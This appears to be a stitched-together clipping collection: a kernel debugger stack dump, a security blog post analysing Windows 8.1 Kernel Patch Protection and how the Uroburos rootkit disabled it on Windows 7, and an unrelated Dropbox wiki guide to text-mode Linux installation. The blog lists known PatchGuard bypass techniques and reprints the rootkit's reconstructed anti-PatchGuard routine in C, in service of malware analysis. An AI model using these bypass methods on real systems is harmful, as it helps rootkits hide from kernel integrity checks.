b398a6a8 00020019  
b398a6ac b398a700  
b398a6b0 00000000  
b398a6b4 b398a700  
b398a6b8 00000000  
b398a6bc 873074c0  
b398a6c0 b398a708  
b398a6c4 84ea9000  
b398a6c8 b398aa70  
b398a6cc 81b875e0 nt\!\_except\_handler4  
b398a6d0 b398a6e4  
b398a6d4 81abf387 nt\!KeReleaseInStackQueuedSpinLock+0x37  
b398a6d8 84ec6e48  
b398a6dc b398a708  
b398a6e0 b398a728  
b398a6e4 b398a71c  
b398a6e8 81abebd0 nt\!ExAcquireResourceSharedLite+0x90  
b398a6ec 00000001  
b398a6f0 84ea9008  
b398a6f4 84ea9008  
b398a6f8 84ec7ea8  
b398a6fc b398a728  
b398a700 84ec7ea8  
b398a704 b398a73c  
b398a708 00000000  
b398a70c 84ec6e7c  
b398a710 84ea9000  
b398a714 84ea9000  
b398a718 873074c0  
b398a71c b398a734  
b398a720 9261f585 dxgkrnl\!DXGADAPTER::AcquireDdiSync+0x60  
b398a724 84ec6e48  
b398a728 00000001  
b398a72c 84ea9008  
b398a730 b398a750  
b398a734 9264b238 dxgkrnl\!DXGADAPTER::DdiEscape+0x3e  
b398a738 85052000  
b398a73c b398aadc  
b398a740 b5361000  
b398a744 b398ad14  
b398a748 84ea9008  
b398a74c 00ea9008  
b398a750 b398acf8  
b398a754 92645b6d dxgkrnl\!DxgkEscape+0x472  
b398a758 b398a974  
b398a75c 9d3c8f69  
b398a760 07c4e164  
  
0: kd> ub 81ab341d  
nt\!MmMapLockedPagesSpecifyCache+0x401:  
81ab3401 83ca18 or edx,18h  
81ab3404 89542410 mov dword ptr \[esp+10h\],edx  
81ab3408 e90cfdffff jmp nt\!MmMapLockedPagesSpecifyCache+0x119 \(81ab3119\)  
81ab340d ff751c push dword ptr \[ebp+1Ch\]  
81ab3410 8bcb mov ecx,ebx  
81ab3412 ff7514 push dword ptr \[ebp+14h\]  
81ab3415 ff7510 push dword ptr \[ebp+10h\]  
81ab3418 e8dbdc2d00 call nt\!MiMapLockedPagesInUserSpace \(81d910f8\)  
  
0: kd> u 81d910f8  
nt\!MiMapLockedPagesInUserSpace:  
81d910f8 8bff mov edi,edi  
81d910fa 55 push ebp  
81d910fb 8bec mov ebp,esp  
81d910fd 83ec30 sub esp,30h  
81d91100 53 push ebx  
81d91101 8bc1 mov eax,ecx  
81d91103 81e2ff0f0000 and edx,0FFFh  
81d91109 56 push esi  
  
poi\(b398a564\) == b398a5c8 - real ebp in MmMapLockedPagesSpecifyCache  
  
0: kd> u MmMapLockedPagesSpecifyCache  
nt\!MmMapLockedPagesSpecifyCache:  
81ab3000 8bff mov edi,edi  
81ab3002 55 push ebp  
81ab3003 8bec mov ebp,esp  
81ab3005 83e4f8 and esp,0FFFFFFF8h  
81ab3008 83ec44 sub esp,44h  
81ab300b 53 push ebx  
81ab300c 8b5d08 mov ebx,dword ptr \[ebp+8\]  
81ab300f 56 push esi  
  
0: kd> dps b398a5c8 L8  
b398a5c8 b398a624  
b398a5cc 932498ff VBoxVideoW8+0x128ff  
b398a5d0 8517c018  
b398a5d4 00000001  
b398a5d8 00000000  
b398a5dc 00000000  
b398a5e0 00000000  
b398a5e4 00000010  
  

poi\(b398a5cc\) == 932498ff -- real reaturn address from
MmMapLockedPagesSpecifyCache \(func arguments look good\)  

  

  

<img src='img/dxgkrnl.sys' width='265' height='49' />

<img src='img/VBoxVideoW8.sys' width='265' height='49' />

  

# VRT: The Windows 8.1 Kernel Patch Protection

**Created:**| _8/14/2014 7:37:47 PM_  
---|---  
**Updated:**| _8/14/2014 7:37:47 PM_  
**Author:**| __  
**Tags:**| _kernel mitigations win8_  
  

### The Windows 8.1 Kernel Patch Protection

In the last 3 months we have seen a lot of machines compromised by Uroburos
\(a kernel-mode rootkit that spreads in the wild and specifically targets
Windows 7 64-bit\). Curiosity lead me to start analyzing the code for Kernel
Patch Protection on Windows 8.1. We will take a glance at its current
implementation on that operating system and find out why the Kernel Patch
Protection modifications made by Uroburos on Windows 7 don’t work on the
Windows 8.1 kernel. In this blog post, we will refer to the technology known
as “Kernel Patch Protection” as “Patchguard”. Specifically, we will call the
Kernel Patch Protection on Windows 7 “Patchguard v7”, and the more recent
Windows 8.1 version “Patchguard v8”.  
  

The implementation of Patchguard has slightly changed between versions of
Windows. I would like to point out the following articles that explain the
internal architecture of older versions of Patchguard:

  

  * Skape, Bypassing PatchGuard on Windows x64, Uninformed, December 2005
  * Skywing, PatchGuard Reloaded - A Brief Analysis of PatchGuard Version 3, Uninformed, September 2007
  * Christoph Husse, Bypassing PatchGuard 3 \- CodeProject, August 2008

  
  

Kernel Patch Protection - Old version attack methods

We have seen some attacks targeting older versions of the Kernel Patch
Protection technology. Some of those \(see Fyyre’s website for examples\)
disarm Patchguard by preventing its initialization code from being called.
Patchguard is indeed initialized at Windows startup time, when the user
switches on the workstation. To do this, various technologies have been used:
the MBR Bootkit \(PDF, in Italian\), VBR Bootkit, and even a brand-new UEFI
Bootkit.

These kind of attacks are quite easy to implement, but they have a big
drawback: they all require the victim's machine to be rebooted, and they are
impossible to exploit if the target system implements some kind of boot
manager digital signature protection \(like Secure Boot\).

Other techniques relied on different tricks to evade Patchguard or to totally
block it. These techniques involve:

  * x64 debug registers \(DR registers\) - Place a managed hardware breakpoint on every read-access in the modified code region. This way the attacker can restore the modification and then continue execution
  * Exception handler hooking - PatchGuard’s validation routine \(the procedure that calls and raises the Kernel Patch protection checks\) is executed through exception handlers that are raised by certain Deferred Procedure Call \(DPC\) routines; this feature gives attackers an easy way to disable PatchGuard.
  * Hooking KeBugCheckEx and/or other kernel key functions - System compromises are reported through the KeBugCheckEx routine \(BugCheck code 0x109\); this is an exported function. PatchGuard clears the stack so there is no return point once one enters KeBugCheckEx, though there is a catch. One can easily resume the thread using the standard “thread startup” function of the kernel.
  * Patching the kernel timer DPC dispatcher - Another attack cited by Skywing \(see references above\). By design, PatchGuard’s validation routine relies on the dispatcher of the kernel timers to kick in and dispatch the deferred procedure call \(DPC\) associated with the timer. Thus, an obvious target for attackers is to patch the kernel timer’s DPC dispatcher code to call their own code. This attack method is easy to implement.
  * Patchguard code direct modification - Attack method described in a paper by McAfee. They located the encrypted Patchguard code directly in the kernel heap, then manually decrypted it and modified its entry point \(the decryption code\). The Patchguard code was finally manually re-encrypted.

  

The techniques described above are quite ingenious. They disable Patchguard
without rebooting the system or modify boot code. It’s worth noting that the
latest Patchguard implementation has rendered all these techniques obsolete,
because it has been able to completely neutralize them.

Now let’s analyse how the Uroburus rootkit implements the KeBugCheckEx hooks
to turn off Kernel Patch Protection on a Windows 7 SP1 64-bit system.

  

Uroburus rootkit - KeBugCheckEx’ hook

Analysing an infected machine reveals that the Uroburos 64-bit driver doesn’t
install any direct hook on the kernel crash routine named “KeBugCheckEx”. So
why doesn't it do any direct modification? To answer this question, an
analysis of Patchguard v7 code is needed. Patchguard copies the code of some
kernel functions into a private kernel buffer. The copied procedures are
directly used by Patchguard to perform all integrity checks, including
crashing the system if any modification is found.In the case of system
modifications, it copies the functions back to their original location and
crashes the system. The problem with the implementation of Patchguard v7 lies
in the code for the procedures used by protected routines. That code is
vulnerable to direct manipulation as there is only one copy \(the original
one\)

This is, in fact, the Uroburos strategy: KeBugCheckEx is not touched in any
manner. Only a routine used directly by KeBugCheckEx is forged:
RtlCaptureContext. The Uroburos rootkit installs deviations in the original
Windows Kernel routines by registering custom software interrupt 0x3C. In the
forged routines, the interrupt is raised using the x86 opcode “int”

  

RtlCaptureContext

The related Uroburos interrupt service routine of the RtlCaptureContext
routine \(sub-type 1\), is raised by the forged code. The software interrupt
is dispatched, the original routine called and finally the processor context
is analysed. A filter routine is called. It implements the following code:

/\* Patchguard Uroburos Filter routine

\* dwBugCheckCode - Bugcheck code saved on the stack by KeBugCheckEx routine

\* lpOrgRetAddr - Original RtlCaptureContext call return address \*/

void PatchguardFilterRoutine\(DWORD dwBugCheckCode, ULONG\_PTR lpOrgRetAddr\)
\{

LPBYTE pCurThread = NULL;  // Current running thread

LPVOID lpOrgThrStartAddr = NULL; // Original thread

DWORD dwProcNumber = 0;  // Current processor number

ULONG mjVer = 0, minVer = 0;  // OS Major and minor version indexes

QWORD \* qwInitialStackPtr = 0;  // Thread initial stack pointer

KIRQL kCurIrql = KeGetCurrentIrql\(\);  // Current processor IRQL

  

// Get Os Version

PsGetVersion\(&mjVer, &minVer, NULL, NULL\);

if \(lpOrgRetAddr > \(ULONG\_PTR\)KeBugCheckEx &&

lpOrgRetAddr < \(\(ULONG\_PTR\)KeBugCheckEx + 0x64\) &&

dwBugCheckCode == CRITICAL\_STRUCTURE\_CORRUPTION\) \{

// This is the KeBugCheckEx Patchguard invocation

// Get Initial stack pointer

qwInitialStackPtr = \(LPQWORD\)IoGetInitialStack\(\);

  

if \(g\_lpDbgPrintAddr\) \{

// DbgPrint is forged with a single "RETN" opcode, restore it

// DisableCR0WriteProtection\(\);

// ... restore original code ...

// RestoreCR0WriteProtection\(\); // Revert CR0 memory protection

\}

  

pCurThread = \(LPBYTE\)KeGetCurrentThread\(\);

// Get original thread start address from ETHREAD

lpOrgThrStartAddr = \*\(\(LPVOID\*\)\(pCurThread +
g\_dwThrStartAddrOffset\)\);

dwProcNumber = KeGetCurrentProcessorNumber\(\);

  

// Initialize and queue Anti Patchguard Dpc

KeInitializeDpc\(&g\_antiPgDpc, UroburusDpcRoutine, NULL\);

KeSetTargetProcessorDpc\(&g\_antiPgDpc, \(CCHAR\)dwProcNumber\);

KeInsertQueueDpc\(&g\_antiPgDpc, NULL, NULL\);

  

// If target Os is Windows 7

if \(mjVer >= 6 && minVer >= 1\)

// Put stack base address in first stack element

qwInitialStackPtr\[0\] = \(\(ULONG\_PTR\)qwInitialStackPtr + 0x1000\) &
\(~0xFFF\);

if \(kCurIrql > PASSIVE\_LEVEL\) \{

// Restore original DPC context \("KiRetireDpcList" Uroburos interrupt plays

// a key role here\). This call doesn't return

RestoreDpcContext\(\); // The faked DPC will be processed

\} else \{

// Jump directly to original thread start address \(ExpWorkerThread\)

JumpToThreadStartAddress\(\(LPVOID\)qwInitialStackPtr, lpOrgThrStartAddr,
NULL\);

\}

\}

\}

As the reader can see, the code is quite straightforward.

First it analyses the original context: if the return address lives in the
prologue of the kernel routine KeBugCheckEx and the bugcheck code equals to
CRITICAL\_STRUCTURE\_CORRUPTION , then it means that Uroburos has intercepted
a Patchguard crash request. The initial thread start address and stack pointer
is obtained from the ETHREAD structure and a faked DPC is queued:

// NULL Uroburos Anti-Patchguard DPC

void UroburusDpcRoutine\(struct \_KDPC \*Dpc, PVOID DeferredContext, PVOID
SystemArgument1, PVOID SystemArgument2\) \{

return;

\}

Code execution is resumed in one of two different places based on the current
Interrupt Request Level \(IRQL\). If IRQL is at the PASSIVE\_LEVEL then a
standard JMP opcode is used to return to the original start address of the
thread from which the Patchguard check originated \(in this case, it is a
worker thread created by the “ExpWorkerThread” routine\). If the IRQL is at a
DISPATCH\_LEVEL or above, Uroborus will exploit the previously acquired
processor context using the KiRetireDpcList hook. Uroburos will then restart
code execution at the place where the original call to KiRetireDpcList was
made, remaining at the high IRQL level.

  

The faked DPC is needed to prevent a crash of the restored thread.

KiRetireDpcList and RtlLookupFunctionEntry

As shown above, the KiRetireDpcList hook is needed to restore the thread
context in case of a high IRQL. This hook saves the processor context before
the original call is made and then transfers execution back to the original
KiRetireDpcList Windows code.

  

Publicly available literature about Uroburos claims that the
RtlLookupFunctionEntry hook is related to the Anti-Patchguard feature. This is
wrong. Our analysis has pinpointed that this hook is there only to hide and
protect the Uroburos driver’s RUNTIME\_FUNCTION array \(see my previous
article about Windows 8.1 Structured Exception Handling\).

  

Conclusion

The Uroburos anti-Patchguard feature code is quite simple but very effective.
This method is practically able to disarm all older versions of the Windows
Kernel Patch protection without any issues or system crashes.

  

Patchguard v8 - Internal architecture

STARTUP

The Windows Nt Kernel startup is accomplished in 2 phases. The Windows
Internals book describes the nitty-gritty details of both phases. Phase 0
builds the rudimentary kernel data structures required to allow the services
needed in phase 1 to be invoked \(page tables, per-processor Processor Control
Blocks \(PRCBs\), internal lists, resources and so on…\). At the end of phase
0, the internal routine InitBootProcessor  uses a large call stack that ends
right at the Phase1InitializationDiscard function. This function, as the name
implies, discards the code that is part of the INIT section of the kernel
image in order to preserve memory. Inside it, there is a call to the
KeInitAmd64SpecificState routine. Analysing it reveals that the code is not
related to its name:

int KeInitAmd64SpecificState\(\) \{

DWORD dbgMask = 0;

int dividend = 0, result = 0;

int value = 0;

  

// Exit in case the system is booted in safe mode

if \(InitSafeBootMode\) return 0;

// KdDebuggerNotPresent: 1 - no debugger; 0 - a debugger is attached

dbgMask = KdDebuggerNotPresent;

// KdPitchDebugger: 1 - debugger disabled; 0 - a debugger could be attached

dbgMask |= KdPitchDebugger;

  

if \(dbgMask\) dividend = -1;  // Debugger completely disabled

else dividend = 0x11;  // Debugger might be enabled

  

value = \(int\)\_rotr\(dbgMask, 1\); // “value” is equal to 0 if debugger is
enable

// 0x80000000 if debugger is NOT enabled

// Perform a signed division between two 32 bit integers:

result = \(int\)\(value / dividend\); // IDIV value, dividend

return result;

\}

The routine’s code ends with a signed division: if a debugger is present the
division is evaluated to 0 \(0 divided by 0x11 is 0\), otherwise a strange
thing happens: 0x80000000 divided by 0xFFFFFFFF raises an overflow exception.
To understand why, let’s simplify everything and perform as an example an
8-bit signed division such as: -128 divided by -1. The result should be +128.
Here is the assembly code:

mov cl, FFh

mov ax, FF80h

idiv cl

The last instruction clearly raises an exception because the value +128
doesn’t fit in the destination 8-bit register AL \(remember that we are
speaking about signed integers\). Following the SEH structures inside of the
Nt Kernel file leads the code execution to the “KiFilterFiberContext” routine.
This is another procedure with a misleading name: all it does is disable a
potential debugger, and prepare the context for the Patchguard Initialization
routine. The initialization routine of the Kernel Patch Protection technology
is a huge function \(95 KB of pure machine code\) inside the INIT section of
Nt Kernel binary file. From now on, we will call it “KiInitializePatchguard”.

INTERNAL ARCHITECTURE, A QUICK GLANCE

The initialization routine builds all the internal Patchguard key data
structures and copies all its routines many times. The code for
KiInitializePatchguard is very hard to follow and understand because it
contains obfuscation, useless opcode, and repeated chunks. Furthermore, it
contains a lot checks for the presence of debugger.

After some internal environment checks, it builds a huge buffer in the Kernel
Nonpaged pool memory that contains all the data needed by Patchguard. This
buffer is surrounded by a random numbers of 8 bytes QWORD seed values
repetitively calculated with the “RDTSC” opcode.

<img src='img/Temp2_8817.png' width='474px;' height='703px;' alt='Patchguard
1.png' />

As the reader can see from the above picture , the Patchguard buffer contains
a lot of useful info. All data needed is organized in 3 main sections:

  1. Internal configuration data

The first buffer area located after the TSC \(time stamp counter\) Seed values
contains all the initial patchguard related configuration data. Noteworthy are
the 2 Patchguard Keys \(the master one, used for all key calculation, and the
decryption key\), the Patchguard IAT \(pointers of some Nt kernel function\)
and all the needed Kernel data structures values \(for example the
KiWaitAlways symbol, KeServiceDescriptorTable data structure, and so on…\),
the Patchguard verification Work item, the 3 copied IDT entries \(used to
defeat the Debug registers attack\), and finally, the various Patchguard
internal relocated functions offsets.

  

  2. Patchguard and Nt Vital routines code

This section is very important because it contains the copy of the pointers
and the code of the most important Nt routines used by Patchguard to crash the
system in case of something wrong is found. In this way even if a rootkit
tries to forge or block the crash routines, Patchguard code can completely
defeat the malicious patch and correctly crash the system. Here is the list of
the copied Nt functions: HaliHaltSystem, KeBugCheckEx, KeBugCheck2,
KiBugCheckDebugBreak, KiDebugTrapOrFault, DbgBreakPointWithStatus,
RtlCaptureContext, KeQueryCurrentStackInformation,
KiSaveProcessorControlState, HalHaltSystem pointer

Furthermore the section contains the entire “INITKDBG” code section of Nt
Kernel. This section implement the main Patchguard code:

\- Kernel Patch protection main check routine and first self-verification
procedure

\- Patchguard Work Item routine, system crash routine \(that erases even the
stack\)

\- Patchguard timer and one entry point \(there are many others, but not in
INITKDBG section\)

  

  3. Protected Code and Data 

All the values and data structures used to verify the entire Nt kernel code
resides here. The area is huge \(227 KB more or less\) and it is organized in
at least 3 different way:

  * First 2 KB contains an array of data structures that stores the code \(and data\) chunks pointer, size, and relative calculated integrity keys of all the Nt functions used by Kernel Patch Protection to correctly do its job.
  * Nt Kernel Module \(“ntoskrnl.exe”\) base address and its Exception directory pointer, size and calculated integrity key. A big array of DWORD keys then follows. For each module’s exception directory RUNTIME\_FUNCTION entry there is a relative 4 bytes key. In this manner Patchguard can verify each code chunk of the Nt Kernel.
  * A copy of all Patchguard protected data. I still need to investigate the way in which the protected Patchguard data \(like the global “CI.DLL” code integrity module’s “g\_CiOptions” symbol for example\) is stored in memory, but we know for sure that the data is binary copied from its original location when the OS is starting in this section

  

VERIFICATION METHODS - Some Words

Describing the actual methods used to verify the integrity of the running
Operating system kernel is outside the scope of this article. We are going
only to get an introduction...

Kernel Patch protection has some entry points scattered inside the Kernel: 12
DPC routines, 2 timers, some APC routines, and others.

When the Patchguard code acquires the processor execution, it decrypts its
buffer and then calls the self-verify routine. The latter function first
verifies 0x3C0 bytes of the Patchguard buffer \(including the just-executed
decryption code\), re-calculating a checksum value and comparing it with the
stored one. Then it does the same verification as before, but for the Nt
Functions exploited by its main check routine. The integrity keys and
verification data structures are stored in the start of area 3 of PG buffer.

If one of the checks goes wrong, Patchguard self-verify routine immediately
crashes the system. It does this in a very clever manner:

  * First it restores all the Virtual memory structures values of vital Nt kernel functions \(like Page table entry, Page directory entry and so on…\). Then it replaces all the code with the copied one, located in the Patchguard buffer. In this way each eventual rootkit modification is erased and as result Patchguard code can crash the system without any obstacles.
  * Finally calls “SdbpCheckDll” routine \(misleading name\) to erase the current thread stack and transfer execution to KeBugCheckEx crash routine.

Otherwise, in the case that all the initial checks pass, the code queues a
kernel Work item, exploiting the standard ExQueueWorkItem Kernel API \(keep in
mind that this function has been already checked by the previous self-verify
routine\).

The Patchguard work item code immediately calls the main verification routine.
It then copies its own buffer in another place, re-encrypt the old Patchguard
buffer, and finally jumps to the ExFreePool Kernel function. The latter
procedure will delete the old Patchguard buffer.

This way, every time a system check is raised, the Patchguard buffer location
changes.

Main check routine uses some other methods to verify each Nt Kernel code and
data chunk. Describing all of them and the functionality of the main check
routine is demanded to the next blog post….

  

The code used by Patchguard initialization routine to calculated the virtual
memory data structure values is something curious. Here is an example used to
find the Page Table entry of a 64-bit memory address:

CalculatePteVa:

shr  rcx, 9  ; Original Ptr address >> 9

mov  rax, 98000000000h  ; This negated value is FFFFFF680'00000000, or more

; precisely "16 bit set to 1, X64 auto-value, all zeros"

mov  r15, 07FFFFFFFF8h

and  rcx, r15  ; RCX & 7F'FFFFFFF8h \(toggle 25 MSB and last 3 LSB\)

sub  rcx, rax  ; RCX += FFFFFF680'00000000

mov  rax, rcx  ; RAX = VA of PTE of target function

  

For the explanation on how it really works, and what is the x64 0x1ED auto-
value, I remind the reader to the following great book about X64 Memory
management:

Enrico Martignetti - What Makes it Page? The Windows 7 \(x64\) Virtual Memory
Manager \(2012\)

  
  

Conclusions

In this blog post we have analysed the Uroburos code that disables the old
Windows 7 Kernel Patch Protection, and have given overview of the new
Patchguard version 8 implementation. The reader should now be able to
understand why the attacks such as the one used by Uroburos could not work
with the new version of Kernel Patch Protection.

It seems that the new implementation of this technology can defeat all known
attacks. Microsoft engineers have done a great amount of work to try to
mitigate a class of attacks .

Because of the fact that the Kernel Patch Protection is not hardware-assisted,
and the fact that its code runs at kernel-mode privilege level \(the same of
all kernel drivers\), it is not perfect. At an upcoming conference, I will
demonstrate that a clever researcher can still disarm this new version, even
if it’s a task that is more difficult to accomplish. The researcher can
furthermore use the original Microsoft Patchguard code even to protect his own
hooks….

  

Stay tuned\!

# TipsAndTricks/TextBasedLinuxInstall - Dropbox Wiki

**Created:**| _2/8/2010 4:16:46 PM_  
---|---  
**Updated:**| _2/8/2010 4:16:59 PM_  
**Author:**| __  
**Tags:**| _setup_  
  

# How To Install Dropbox In An Entirely Text Based Linux Environment

## Prerequisites

  * At least version 2.4 of the C library
  * `wget`
  * `gcc` C compiler
  * The C library development files
  * Python 2.5
  * a web browser
  * dbmakefakelib.py
  * dbreadconfig.py

## Setup process

1\. Log in to your Linux server so you obtain a shell prompt, and change to
your home directory.

[code]

    $ cd
    
[/code]

2\. Use `wget` to download the Dropbox Linux client, using either the link to
the latest stable version \(32-bit or 64-bit\), or go to the forums and find a
link to the latest forums version.

[code]

    # this example is the 32-bit build of the client
    $ wget -O dropbox.tar.gz http://www.getdropbox.com/download?plat=lnx.x86
    
[/code]

3a. Use `tar` to extract the client. It will be placed in a folder `.dropbox-
dist/` which may be in the folder ~/ or may be in the folder / \(or possibly
elsewhere\).

[code]

    $ tar -zxof dropbox.tar.gz
    
[/code]

3b. Move the folder and all its contents to .dropbox-dist to `~/.dropbox-dist`
if neccessary.

[code]

    $ mv .dropbox-dist ~/.dropbox-dist
    
[/code]

4\. Use `wget` to download the Python scripts needed to set this up.

[code]

    $ wget http://dl.getdropbox.com/u/6995/dbmakefakelib.py
    $ wget http://dl.getdropbox.com/u/6995/dbreadconfig.py
    
[/code]

5\. Run the dbmakefakelib.py script - this creates fake stub copies of the GUI
libraries so `dropboxd` will start.

[code]

    $ python dbmakefakelib.py
    adding library libgtk-x11-2.0.so.0
    adding library libgdk-x11-2.0.so.0
    adding library libatk-1.0.so.0
    adding library libgdk_pixbuf-2.0.so.0
    adding library libpango-1.0.so.0
    adding library libgobject-2.0.so.0
    adding library libgmodule-2.0.so.0
    adding library libgthread-2.0.so.0
    adding library libglib-2.0.so.0
    adding function gtk_tree_view_new
    adding function gtk_toolbar_new
    adding function g_threads_got_initialized
    adding function gtk_grab_remove
    adding function gtk_button_new
    adding function gtk_frame_new
    adding function gtk_major_version
    ... lots more of this ...
    adding function g_static_rw_lock_writer_unlock
    adding function g_value_set_boxed_take_ownership
    adding function g_boxed_type_register_static
    adding function g_datalist_clear
    dropboxd ran for 15 seconds without quitting - success?
    
[/code]

6\. At the end of the last script, `dropboxd` should have run successfully for
a few seconds - long enough to contact the Dropbox servers and construct the
initial pieces of data required for the client to run. The most important of
these for identification of the client is the  _host id_ , a 128-bit number
uniquely assigned to every instance of the client. This can be displayed by
running the dbreadconfig.py script.

* * *
NOTES BY USERS ON RUNNING SCRIPTS:

dbreadconfig.py fails on my machine \(gutsy\) when importing ctypes. Try
deleting all the code which uses ctypes, since you only need that for Windows
anyway.

dbreadconfig.py failed on my Ubuntu 8.04 - I just had to apt-get install gcc
and libc6-dev. - Mario

Also, separately, please put each import statement on a different line so that
debugging can go much faster, among other reasons \(PEP 8\). -jperla

I had some trouble with the python scripts, so I modified the scripts. Here
are my alternate ones: \(Linux only\) - dickeytk

  * dbmakefilelib.py
  * dbreadconfig.py

If dropboxd just exists without any reason, check that you allow enough size
for data seg, stack, virtual memory \(ulimit -a\). - tomle

I had to modify dbmakefilelib.py and change the reference to "dropboxd" to
"dropbox" for it to terminate correctly -frohoff

dbmakefilelib.py did not terminate correctly for me either, I just did ^C to
kill it and was able to start dropbox again by running ~/dropbox-
dist/.dropboxd and continued with the instructions and everything was fine. -
Nick Fitzgerald

* * *
[code]

    $ python dbreadconfig.py
    host_id = 739bfe362f3bb3246da99dc8d20dbe2b
    last_revision = None
    schema_version = 6
    
[/code]

If dbreadconfig.py fails for you, you can retrieve the information manually.
Install a copy of sqlite from http://www.sqlite.org/download.html and then run
the following:

[code]

    $ cd .~/.dropbox
    $ sqlite3 dropbox.db
    
    SQLite version 3.3.6
    Enter ".help" for instructions
    sqlite> .dump config
    
[/code]

Obtain the value for 'host\_id' and then decode that value using the base64
decoder of your choice \(I used the one
athttp://www.opinionatedgeek.com/dotnet/tools/Base64Decode/\). You want the
hex value on the first line, after the 'V', that's the HOSTID.

If you get an error about an unreadable database, make sure you are using
sqlite \*3\*. Also note that you don't need the python-sqlite3 package in
Ubuntu - I think it is included in the main release. -Martin

7\. Take the URL https://www.dropbox.com/cli\_link?host\_id=HOSTID and replace
HOSTID with the host id from the previous step. Go to this in a web browser on
any computer \(it doesn't have to be the Linux server\) and fill in the
details to register or link to an existing account.

NOTE: If you want to change the account it is linked to, unlink it from the
first account, then kill the running dropbox process, start it up again \(with
"~/.dropbox-dist/dropboxd &"\) and obtain the new host\_id with
dbreadconfig.py . If you don't restart the dropbox client, it will give the
same host\_id \(which for some reason cause me to be unable to change the
account it is linked to\).

8\. Create a folder `~/Dropbox` for the Dropbox files.

[code]

    $ mkdir ~/Dropbox
    
[/code]

9\. Run `dropboxd` as a background process; it should pick up the details you
entered on the web page and set itself up completely.

[code]

    $ ~/.dropbox-dist/dropboxd &
    
[/code]

Following on from that, there are a few different options to run the Dropbox
client on an ongoing basis. You could put the above line in your server
startup scripts, e.g.`/etc/rc.local`, or maybe just a certain user's login
scripts.

It is recommended to download the official Dropbox CLI to start the dropbox
daemon \(as an unprivileged user\) and get its status.

[code]

    $ mkdir -p ~/bin
    $ wget -P ~/bin http://www.dropbox.com/download?dl=packages/dropbox.py
    $ chmod 755 ~/bin/dropbox.py
    $ ~/bin/dropbox.py help
    
[/code]

## Changing the dropbox folder location

To move an existing dropbox folder to /foo/bar:

[code]

    $ dropbox stop
    $ cp ~/.dropbox/dropbox.db dropbox.db.backup
    $ wget http://dl.dropbox.com/u/119154/permalink/dropboxdir.py
    $ chmod +x dropboxdir.py
    $ mv ~/Dropbox /foo/bar
    $ ./dropboxdir --setfolder=/foo/bar
    $ dropbox start
    
[/code]

## Running on system startup

You can also use an `init.d` or `event.d` script to automatically run
dropboxd. samples are provided for: \* Debian/Ubuntu \* Fedora/Redhat \*
Gentoo

I found that installing gparted installed the required gnome libraries to
enable the dropbox gui to run under KDE with the icon showing in the tray -
Ali L.

### Debian/Ubuntu

Here's a sample `init.d` script for Debian/Ubuntu and the `event.d` sample.

[code]

    # dropbox service
    DROPBOX_USERS="user1 user2"
    
    DAEMON=.dropbox-dist/dropbox
    
    start() {
        echo "Starting dropbox..."
        for dbuser in $DROPBOX_USERS; do
            HOMEDIR=`getent passwd $dbuser | cut -d: -f6`
            if [ -x $HOMEDIR/$DAEMON ]; then
                HOME="$HOMEDIR" start-stop-daemon -b -o -c $dbuser -S -u $dbuser -x $HOMEDIR/$DAEMON
            fi
        done
    }
    
    stop() {
        echo "Stopping dropbox..."
        for dbuser in $DROPBOX_USERS; do
            HOMEDIR=`getent passwd $dbuser | cut -d: -f6`
            if [ -x $HOMEDIR/$DAEMON ]; then
                start-stop-daemon -o -c $dbuser -K -u $dbuser -x $HOMEDIR/$DAEMON
            fi
        done
    }
    
    status() {
        for dbuser in $DROPBOX_USERS; do
            dbpid=`pgrep -u $dbuser dropbox`
            if [ -z $dbpid ] ; then
                echo "dropboxd for USER $dbuser: not running."
            else
                echo "dropboxd for USER $dbuser: running (pid $dbpid)"
            fi
        done
    }
    
    
    case "$1" in
      start)
        start
        ;;
    
      stop)
        stop
        ;;
    
      restart|reload|force-reload)
        stop
        start
        ;;
    
      status)
        status
        ;;
    
      *)
        echo "Usage: /etc/init.d/dropbox {start|stop|reload|force-reload|restart|status}"
        exit 1
    
    esac
    
    exit 0
    
[/code]

If you want to use the newer upstart init present on Ubuntu installations and
are running dropboxd under a sandbox user \(say, `dropbox`\), you can place
the following script into `/etc/event.d`, naming it `dropbox`

[code]

    start on runlevel 2
    start on runlevel 3
    start on runlevel 4
    start on runlevel 5
    stop on shutdown
    respawn
    
    script
      cd /home/dropbox
      exec sudo -H -u dropbox ./.dropbox-dist/dropbox
    end script
    
[/code]

After creating the file, run `initctl start dropbox` and you're set\!

Change DROPBOX\_USERS to include all users that want to run dropboxd
\(separated by spaces\), and save the file to /etc/init.d/dropbox.

Then for Ubuntu/Debian run:

[code]

    $ chmod +x /etc/init.d/dropbox
    $ update-rc.d dropbox defaults
    
[/code]

To start the service, run

[code]

    $ /etc/init.d/dropbox start
    
[/code]

To stop it, run

[code]

    $ /etc/init.d/dropbox stop
    
[/code]

To restart it, run

[code]

    $ /etc/init.d/dropbox restart
    
[/code]

You can also check running status in the Ubuntu/Debian and Gentoo versions
with:

[code]

    $ /etc/init.d/dropbox status
    
[/code]

### Fedora/Red hat

[code]

    # chkconfig: 345 85 15
    # description: Startup script for dropbox daemon
    #
    # processname: dropboxd
    # pidfile: /var/run/dropbox.pid
    #
    # Source function library.
    . /etc/rc.d/init.d/functions
    
    DROPBOX_USERS="user1 user2"
    
    prog=dropboxd
    lockfile=${LOCKFILE-/var/lock/subsys/dropbox}
    RETVAL=0
    
    start() {
            echo -n $"Starting $prog"
            for dbuser in $DROPBOX_USERS; do
                daemon --user $dbuser /bin/sh -c "/home/$dbuser/.dropbox-dist/dropboxd&"
            done
    
            RETVAL=$?
            echo
            [ $RETVAL = 0 ] && touch ${lockfile}
            return $RETVAL
    }
    
    stop() {
            echo -n $"Stopping $prog"
        for dbuser in $DROPBOX_USERS; do
            killproc /home/$dbuser/.dropbox-dist/dropbox
        done
            RETVAL=$?
            echo
            [ $RETVAL = 0 ] && rm -f ${lockfile} ${pidfile}
    }
    
    # See how we were called.
    case "$1" in
      start)
            start
            ;;
      stop)
            stop
            ;;
      restart)
            stop
            start
            ;;
      *)
            echo $"Usage: $prog {start|stop|restart}"
            RETVAL=3
    esac
    
    exit $RETVAL
    
[/code]

Change DROPBOX\_USERS to include all users that want to run dropboxd
\(separated by spaces\), and save the file to /etc/init.d/dropbox.

For Fedora/RedHat run:

[code]

    chkconfig --add dropbox
    
[/code]

Then run ntsysv. If it worked you should see dropbox in the list.

To start the service, run

[code]

    $ service dropbox start
    
[/code]

To stop it, run

[code]

    $ service dropbox stop
    
[/code]

To restart it, run

[code]

    $ service dropbox restart
    
[/code]

### Gentoo

For Gentoo x86/amd64:

[code]

    # Copyright 1999-2009 Gentoo Foundation
